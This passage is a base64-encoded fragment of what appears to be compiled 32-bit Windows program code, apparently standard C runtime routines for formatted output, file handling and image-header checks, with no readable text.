FiVXs6xDHRez+AwAA6wfGRgIxg8YDi8ZGiUUMOVUUdQSIEOsPi03ci4m8AAAAiwmKCYgIi08EiweB4f//DwCJTfh3CDvCD4a0AAAAiVX0x0X4AAAPAIN9FAB+TItXBCNV+IsHD79N/CNF9IHi//8PAOhhPQAAZoPAMA+3wIP4OXYCA8OLTfiDbfwEiAaLRfQPrMgEwekERv9NFGaDffwAiUX0iU34fa5mg338AHxRi1cEI1X4iwcPv038I0X0geL//w8A6A49AABmg/gIdjGNRv+KCID5ZnQFgPlGdQbGADBI6+47RQx0FIoIgPk5dQeAwzqIGOsJ/sGICOsD/kD/g30UAH4R/3UUajBW6HY9//+DxAwDdRSLRQyAOAB1Aovwg30YALE0D5TA/sgk4ARwiAaLB4tXBOibPAAAM9sl/wcAACPTK0XsU1kb0XgPfwQ7w3IJxkYBK4PGAusNxkYBLYPGAvfYE9P32ov+xgYwO9N8JLnoAwAAfwQ7wXIZU1FSUOhwOwAABDCIBkaJVfCLwYvTO/d1C4XSfB5/BYP4ZHIXagBqZFJQ6Eo7AAAEMIgGiVXwRovBi9M793ULhdJ8H38Fg/gKchhqAGoKUlDoJDsAAAQwiAaJVfBGi8GJXfAEMIgGxkYBAIB96AB0B4tF5INgcP0zwFtfXsnDi/9Vi+yD7BBTVlf/dRSL+It3BIvZjU3wTujd9v7/hdt1I+hnFf//ahZeiTDou0z//4B9/AB0B4tF+INgcP2Lxum5AAAAg30IAHbXgH0QAHQVO3UMdRAzwIM/LQ+UwAPGZscEGDAAgz8ti/N1BsYDLY1zAYtHBIXAfxxWjV4B6LgZ//9AUFZT6J/n/v/GBjCDxBCL8+sCA/CDfQwAflFWjV4B6JQZ//9AUFZT6Hvn/v+LRfCLgLwAAACLAIoAiAaLfwSDxBCF/3km99+AfRAAdQU5fQx8A4l9DIt9DIvD6Br5//9XajBT6J87//+DxAyAffwAdAeLRfiDYHD9M8BfXlvJw4v/VYvsg+wsodAGBRAzxYlF/ItFCFZXi30MahZeVo1N5FGNTdRR/3AE/zDoKzkAAIPEFIX/dRDoTxT//4kw6KZL//+LxutsU4tdEIXbdRDoNxT//4kw6I5L//+LxutTg8j/O9h0DTPJg33ULYvDD5TBK8GLdRSNTdRRi03YA85RUDPAg33ULQ+UwAPHUOhjNwAAg8QQhcB0BcYHAOsU/3UYjUXUagBWU4vP6E7+//+DxBBbi038XzPNXuhu5P7/ycOL/1WL7IPsLKHQBgUQM8WJRfyLRQhWi3UMV2oWX1eNTeRRjU3UUf9wBP8w6Go4AACDxBSF9nUT6I4T//+JOOjlSv//i8fplQAAAItNEIXJdOZTi13YM8BLg33ULQ+UwI08MIP5/3UEC8nrAivIjUXUUP91FFFX6Lk2AACDxBCFwHQFxgYA61eLRdhIO9gPnMGD+Px8LTtFFH0ohMl0CooHR4TAdfmIR/7/dRyNRdRqAf91FIvO/3UQ6H/9//+DxBDrHP91HI1F1GoBUP91GIvG/3UU/3UQ6KP3//+DxBhbi038XzPNXuiB4/7/ycOL/1WL7ItFFIP4ZXRfg/hFdFqD+GZ1Gf91IP91GP91EP91DP91COgn/v//g8QUXcOD+GF0HoP4QXQZ/3Ug/3Uc/3UY/3UQ/3UM/3UI6ML+///rMP91IP91HP91GP91EP91DP91COhv+f//6xf/dSD/dRz/dRj/dRD/dQz/dQjob/j//4PEGF3Di/9Vi+xqAP91HP91GP91FP91EP91DP91COha////g8QcXcOL/1ZXM///t+ASBRD/FWTiAxCJh+ASBRCDxwSD/yhy5l9ew4v/VmgAAAMAaAAAAQAz9lbobzgAAIPEDIXAdApWVlZWVuj1SP//XsOL/1WL7IPsEP91DI1N8OhB8/7/D7ZFCItN8IuJyAAAAA+3BEElAIAAAIB9/AB0B4tN+INhcP3Jw4v/VYvsagD/dQjouf///1lZXcPMzMzMzMzMzMyL/1WL7IPsJKHQBgUQM8WJRfyLRRCLTQxTVot1CFdQM/9XV1dXUY1F3FCNRfBQiU3gM9vo0UIAAIPEIIlF7KgEdA27AAIAAIl95Il96OswjUXkUI1F8FDoCzgAAPZF7AJZWXUFg/gBdQW7gAAAAPZF7AF1BYP4AnUGgcsAAQAAi0XcK0Xgi038iUYEi0XkiUYQi0XoiUYUX4kei8ZeM81b6JDh/v/Jw2YP78BRU4vBg+APhcB1f4vCg+J/wegHdDeNpCQAAAAAZg9/AWYPf0EQZg9/QSBmD39BMGYPf0FAZg9/QVBmD39BYGYPf0FwjYmAAAAASHXQhdJ0N4vCwegEdA/rA41JAGYPfwGNSRBIdfaD4g90HIvCM9vB6gJ0CIkZjUkESnX4g+ADdAaIGUFIdfpbWMOL2Pfbg8MQK9MzwFKL04PiA3QGiAFBSnX6wesCdAiJAY1JBEt1+FrpVf///4v/VYvsVot1CIX2dRXoIBD//8cAFgAAAOhzR///6QYBAACLRgyogw+E+wAAAKhAD4XzAAAAqAJ0C4PIIIlGDOnkAAAAg8gBiUYMqQwBAAB1CVbo7wQAAFnrBYtGCIkG/3YY/3YIVugA+f7/WVDorGf//4PEDIlGBIXAD4SXAAAAg/gBD4SOAAAAg/j/D4SFAAAA9kYMgnVRVujN+P7/WYP4/3QwVujB+P7/WYP4/nQkV1botPj+/8H4BVaNPIUgMQUQ6KT4/v+D4B9ZweAGAwdZX+sFuGAKBRCKQAQkgjyCdQeBTgwAIAAAgX4YAAIAAHUVi0YMqAh0DqkABAAAdQfHRhgAEAAAiw6DRgT+D7cBg8ECiQ7rFvfYG8CD4BCDwBAJRgyDZgQAuP//AABeXcOL/1WL7IPsEFNWi3UMM9s783QVOV0QdBA4HnUSi0UIO8N0BTPJZokIM8BeW8nD/3UUjU3w6Dbw/v+LRfA5WBR1HotFCDvDdAYPtg5miQg4Xfx0B4tF+INgcP0zwEDry41F8FAPtgZQ6K/8//9ZWYXAdH2LRfCLiKwAAACD+QF+JTlNEHwgM9I5XQgPlcJS/3UIUVZqCf9wBP8VXOIDEIXAi0XwdRCLTRA7iKwAAAByIDheAXQbi4CsAAAAOF38D4Rm////i034g2Fw/ela////6C0O///HACoAAAA4Xfx0B4tF+INgcP2DyP/pO////zPAOV0ID5XAUP91CItF8GoBVmoJ/3AE/xVc4gMQhcAPhTr////ruov/VYvsagD/dRD/dQz/dQjo1f7//4PEEF3Di/9Vi+xRVot1DFbo+/b+/4lFDItGDFmognUZ6LIN///HAAkAAACDTgwguP//AADpPQEAAKhAdA3olQ3//8cAIgAAAOvhqAF0F4NmBACoEA+EjQAAAItOCIPg/okOiUYMi0YMg2YEAINl/ABTagKD4O9bC8OJRgypDAEAAHUs6NP0/v+DwCA78HQM6Mf0/v+DwEA78HUN/3UM6J0KAABZhcB1B1boPQIAAFn3RgwIAQAAVw+EgwAAAItGCIs+jUgCiQ6LThgr+CvLiU4Ehf9+HVdQ/3UM6AK9//+DxAyJRfzrToPIIIlGDOk9////i00Mg/n/dBuD+f50FovBg+Afi9HB+gXB4AYDBJUgMQUQ6wW4YAoFEPZABCB0FVNqAGoAUegeBwAAI8KDxBCD+P90LYtGCItdCGaJGOsdagKNRfxQ/3UMi/uLXQhmiV386Iq8//+DxAyJRfw5ffx0C4NODCC4//8AAOsHi8Ml//8AAF9bXsnDi/9Vi+yD7BBTVot1DDPbV4t9EDvzdRE7+3YNi0UIO8N0AokYM8Dre4tFCDvDdAODCP+B/////392E+gfDP//ahZeiTDoc0P//4vG61b/dRiNTfDoc+3+/4tF8DlYFA+FkAAAAGaLRRS5/wAAAGY7wXY2O/N0Dzv7dgtXU1bo2TL//4PEDOjUC///xwAqAAAA6MkL//+LADhd/HQHi034g2Fw/V9eW8nDO/N0Jjv7dyDoqQv//2oiXokw6P1C//84Xfx0hYtF+INgcP3pef///4gGi0UIO8N0BscAAQAAADhd/A+EPP///4tF+INgcP3pMP///41NDFFTV1ZqAY1NFFFTiV0M/3AE/xVI4gMQO8N0FDldDA+Fav///4tNCDvLdL2JAeu5/xV44QMQg/h6D4VQ////O/MPhHP///87+w+Ga////1dTVugOMv//g8QM6Vv///+L/1WL7GoA/3UU/3UQ/3UM/3UI6JP+//+DxBRdw4v/VYvs/wXcIQUQaAAQAADoBSj//1mLTQiJQQiFwHQNg0kMCMdBGAAQAADrEYNJDASNQRSJQQjHQRgCAAAAi0EIg2EEAIkBXcNqEGhYwwQQ6JRT//+LXQiD+/51E+iKCv//xwAJAAAAg8j/6aEAAACF23gIOx0QMQUQchLoawr//8cACQAAAOi+Qf//69qLw8H4BY08hSAxBRCL84PmH8HmBosHD75EBgSD4AF0zlPoF37//1mDZfwAiwf2RAYEAXQxU+iaff//WVD/FXThAxCFwHUL/xV44QMQiUXk6wSDZeQAg33kAHQZ6BEK//+LTeSJCOj0Cf//xwAJAAAAg03k/8dF/P7////oDAAAAItF5OgYU///w4tdCFPoSn7//1nDi/9Vi+y4IBAAAOgYJQAAodAGBRAzxYlF/FNWi3UIV1bo3vL+/4vYM8BZiZ3o7///OUYEfQOJRgRqAVBQU+j6AwAAg8QQi/iJvezv//+JlfDv//+F0n8QfASF/3MKg8j/C9Dp1AIAAIvDwfgFjQSFIDEFEIPjH4mF5O///4sAweMGA8OKSCQCydD590YMCAEAAIiN++///3UXi0YEi43w7///mSv4G8qLx4vR6YsCAACLDotWDIv5K34Iib307///9sIDD4RbAQAAgL377///AQ+FGgEAADPSOVAwD4QPAQAA0e+JveDv//85VgR1EYuF7O///4uV8O///+k8AgAAUv9wLP9wKP+16O///+grAwAAi/CLheTv//+LAIPEEIv6O3QYKA+FM////zt8GCwPhSn///9qAI2N9O///1FoABAAAI2N/O///1H/NBj/FcThAxCFwA+EA////2oA/7Xw7////7Xs7////7Xo7///6MkCAACDxBCF0n8OD4zd/v//hcAPgtX+//+LjfTv//+LneDv//872Q+Hwf7//42F/O///4XbdDeNlA387///SzvCcyuKCID5DXUTjUr/O8FzGI1IAYA5CnUQi8HrDA+2yQ++iWAJBRADwUCF23XQjY387///K8Ez0gPGE9fpSwEAAPZABIB0FYtWCOsMgDoKdQb/hfTv//9CO9Fy8IuV7O///wuV8O///3Ufi4X07///6RcBAACE0njj6J0H///HABYAAADpJf7///ZGDAEPhNYAAACLVgSF0nULIZX07///6cQAAAArTgj2QASAjTwKD4ScAAAAagJqAGoA/7Xo7///6McBAACDxBA7hezv//91JDuV8O///3Uci0YIjQw46weAOAp1AUdAO8Fy9fdGDAAgAADrWWoA/7Xw7////7Xs7////7Xo7///6H8BAACDxBCF0n8OD4yT/f//hcAPgov9//+4AAIAADv4dxKLTgz2wQh0Cov498EABAAAdAOLfhiLheTv//+LAPZEGAQEdAFHgL377///AXUC0e8pvezv//+DnfDv//8AgL377///AXUG0a307///i4X07///M9IDhezv//8TlfDv//+LTfxfXjPNW+gk1/7/ycNqEGh4wwQQ6HFP//8zwDlFCA+VwIXAdRfoYwb//8cAFgAAAOi2Pf//g8r/i8LrLv91COik7v7/WYNl/AD/dQjocvz//1mJReCJVeTHRfz+////6AwAAACLReCLVeToYE///8P/dQjo4+7+/1nDi/9Vi+xRUYtFDFaLdQiJRfiLRRBXVolF/Ohref/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9////6bAIAACLhej9//9rwAoPvsqNRAjQiYXo/f//6ZUIAACA+kl0VYD6aHREgPpsdBiA+ncPhX0IAACBjfD9//8ACAAA6W4IAACAP2x1FkeBjfD9//8AEAAAib3E/f//6VMIAACDjfD9//8Q6UcIAACDjfD9//8g6TsIAACKBzw2dR6AfwE0dRiDxwKBjfD9//8AgAAAib3E/f//6RcIAAA8M3UegH8BMnUYg8cCgaXw/f///3///4m9xP3//+n1BwAAPGQPhO0HAAA8aQ+E5QcAADxvD4TdBwAAPHUPhNUHAAA8eA+EzQcAADxYD4TFBwAAg6XA/f//AIOlyP3//wCNhbD9//9QD7bCUOj16///WYXAioXv/f//WXQii42o/f//jbXc/f//6JT7//+KB0eJvcT9//+EwA+Elfz//4uNqP3//4213P3//+hy+///6WMHAAAPvsKD+GQPj+oBAAAPhHcCAACD+FMPj/MAAAAPhIEAAACD6EF0EEhIdFlISHQISEgPhYcFAACAwiDHhZT9//8BAAAAiJXv/f//g43w/f//QIO96P3//wCNvfT9//+4AAIAAIm95P3//4mFnP3//w+NRQIAAMeF6P3//wYAAADpoAIAAPeF8P3//zAIAAAPhZgAAACBjfD9//8ACAAA6YkAAAD3hfD9//8wCAAAdQqBjfD9//8ACAAAi43o/f//g/n/dQW5////f4PDBPeF8P3//xAIAACJndj9//+LW/yJneT9//8PhKUEAACF23ULofgGBRCJheT9//+LheT9///Hhcj9//8BAAAA6XMEAACD6FgPhMwCAABISHR5K8EPhCb///9ISA+FkgQAAIPDBPeF8P3//xAIAACJndj9//90MA+3Q/xQaAACAACNhfT9//9QjYXg/f//UOgy8f//g8QQhcB0H8eFpP3//wEAAADrE4pD/IiF9P3//8eF4P3//wEAAACNhfT9//+JheT9///pKQQAAIsDg8MEiZ3Y/f//hcB0PItIBIXJdDX3hfD9//8ACAAAD78AiY3k/f//dBSZK8LR+MeFyP3//wEAAADp5AMAAIOlyP3//wDp2AMAAKH0BgUQiYXk/f//UOhVAP//WenBAwAAg/hwD4/sAQAAD4TYAQAAg/hlD4yvAwAAg/hnD44y/v//g/hpdG2D+G50JIP4bw+FkwMAAPaF8P3//4CJteD9//90YYGN8P3//wACAADrVYszg8MEiZ3Y/f//6AL5//+FwA+EIvr///aF8P3//yB0DGaLhdz9//9miQbrCIuF3P3//4kGx4Wk/f//AQAAAOm+BAAAg43w/f//QMeF4P3//woAAACLjfD9///3wQCAAAAPhJ4BAAAD3otD+ItT/OnKAQAAdRGA+md1Y8eF6P3//wEAAADrVzmF6P3//34GiYXo/f//gb3o/f//owAAAH49i7Xo/f//gcZdAQAAVujOF///ipXv/f//WYmFrP3//4XAdBCJheT9//+JtZz9//+L+OsKx4Xo/f//owAAAIsDizVo4gMQg8MIiYWI/f//i0P8iYWM/f//jYWw/f//UP+1lP3//w++wv+16P3//4md2P3//1D/tZz9//+NhYj9//9XUP81+BIFEP/W/9CLnfD9//+DxByB44AAAAB0HYO96P3//wB1FI2FsP3//1BX/zUEEwUQ/9b/0FlZgL3v/f//Z3UYhdt1FI2FsP3//1BX/zUAEwUQ/9b/0FlZgD8tdRGBjfD9//8AAQAAR4m95P3//1fpDv7//4m16P3//4mNoP3//+skg+hzD4TE/P//SEgPhJT+//+D6AMPhbgBAADHhaD9//8nAAAA9oXw/f//gMeF4P3//xAAAAAPhHT+//+KhaD9//8EUcaF1P3//zCIhdX9///HhdD9//8CAAAA6VD+///3wQAQAAAPhVb+//+DwwT2wSB0GImd2P3///bBQHQGD79D/OsED7dD/JnrE4tD/PbBQHQDmesCM9KJndj9///2wUB0G4XSfxd8BIXAcxH32IPSAPfagY3w/f//AAEAAPeF8P3//wCQAACL2ov4dQIz24O96P3//wB9DMeF6P3//wEAAADrGoOl8P3///e4AAIAADmF6P3//34GiYXo/f//i8cLw3UGIYXQ/f//jXXzi4Xo/f///43o/f//hcB/BovHC8N0LYuF4P3//5lSUFNX6AbZ//+DwTCJnZz9//+L+Ivag/k5fgYDjaD9//+IDk7rvY1F8yvGRveF8P3//wACAACJheD9//+JteT9//90Y4XAdAeLzoA5MHRY/43k/f//i43k/f//xgEwQOtASWaDOAB0B4PAAoXJdfIrheT9///R+Osohdt1C6H0BgUQiYXk/f//i4Xk/f//6wdJgDgAdAVAhcl19SuF5P3//4mF4P3//4O9pP3//wAPhX0BAACLhfD9//+oQHQyqQABAAB0CcaF1P3//y3rGKgBdAnGhdT9//8r6wuoAnQRxoXU/f//IMeF0P3//wEAAACLncz9//8rneD9//8rndD9//+JnZz9//+oDHUni/uF234hi42o/f//jbXc/f//sCBP6DH1//+Dvdz9////dASF/3/fi72o/f//i43Q/f//jYXU/f//UI2F3P3//+g59f//9oXw/f//CFl0KPaF8P3//wR1H+sZjbXc/f//i8+wMEvo4fT//4O93P3///90BIXbf+ODvcj9//8Ai53g/f//dFSF235Qi7Xk/f//D7cGUGoGjUX0UI2FkP3//1BLg8YC6MPr//+DxBCFwHUgi42Q/f//hcl0Fo1F9FCNhdz9///otPT//1mF23XB6x2Djdz9////6xT/teT9//+Nhdz9//+Ly+iR9P//WYO93P3//wB8LvaF8P3//wR0JYudnP3//+sZjbXc/f//i8+wIEvoM/T//4O93P3///90BIXbf+ODvaz9//8AdBP/taz9///oO8z+/4OlrP3//wBZi73E/f//igeIhe/9//+EwHQPi53Y/f//M/aK0Om89f//g73A/f//AHQNg73A/f//Bw+F5fT//4C9vP3//wB0CouFuP3//4NgcP2Lhdz9//+LTfxfXjPNW+h6xv7/ycOL/8B8AxC9egMQ73oDEEt7AxCXewMQo3sDEOl7AxAbfQMQi/9Vi+yD7DRTM9v2RRCAVovwiV3ciF3+iV34x0XMDAAAAIld0HQJiV3UxkX/EOsKx0XUAQAAAIhd/41F3FDoi9/+/1mFwA+F3gYAALgAgAAAhUUQdRL3RRAAQAcAdQU5Rdx0BIBN/4CLRRCD4AMrw7kAAADAugAAAIB0Q0h0KEh0IOhA9f7/iRiDDv/oI/X+/2oWXokw6Hcs//+LxuneAAAAiU306xv2RRAIdAn3RRAAAAcAdezHRfQAAABA6wOJVfSLRRRqEFkrwXQ3K8F0KivBdB0rwXQQg+hAdaU5VfQPlMCJRezrHsdF7AMAAADrFcdF7AIAAADrDMdF7AEAAADrA4ld7ItFELoABwAAI8K5AAQAAFe/AAEAADvBfzN0KDvDdCQ7x3QXPQACAAB0VD0AAwAAdS3HRegCAAAA61THRegEAAAA60vHRegDAAAA60I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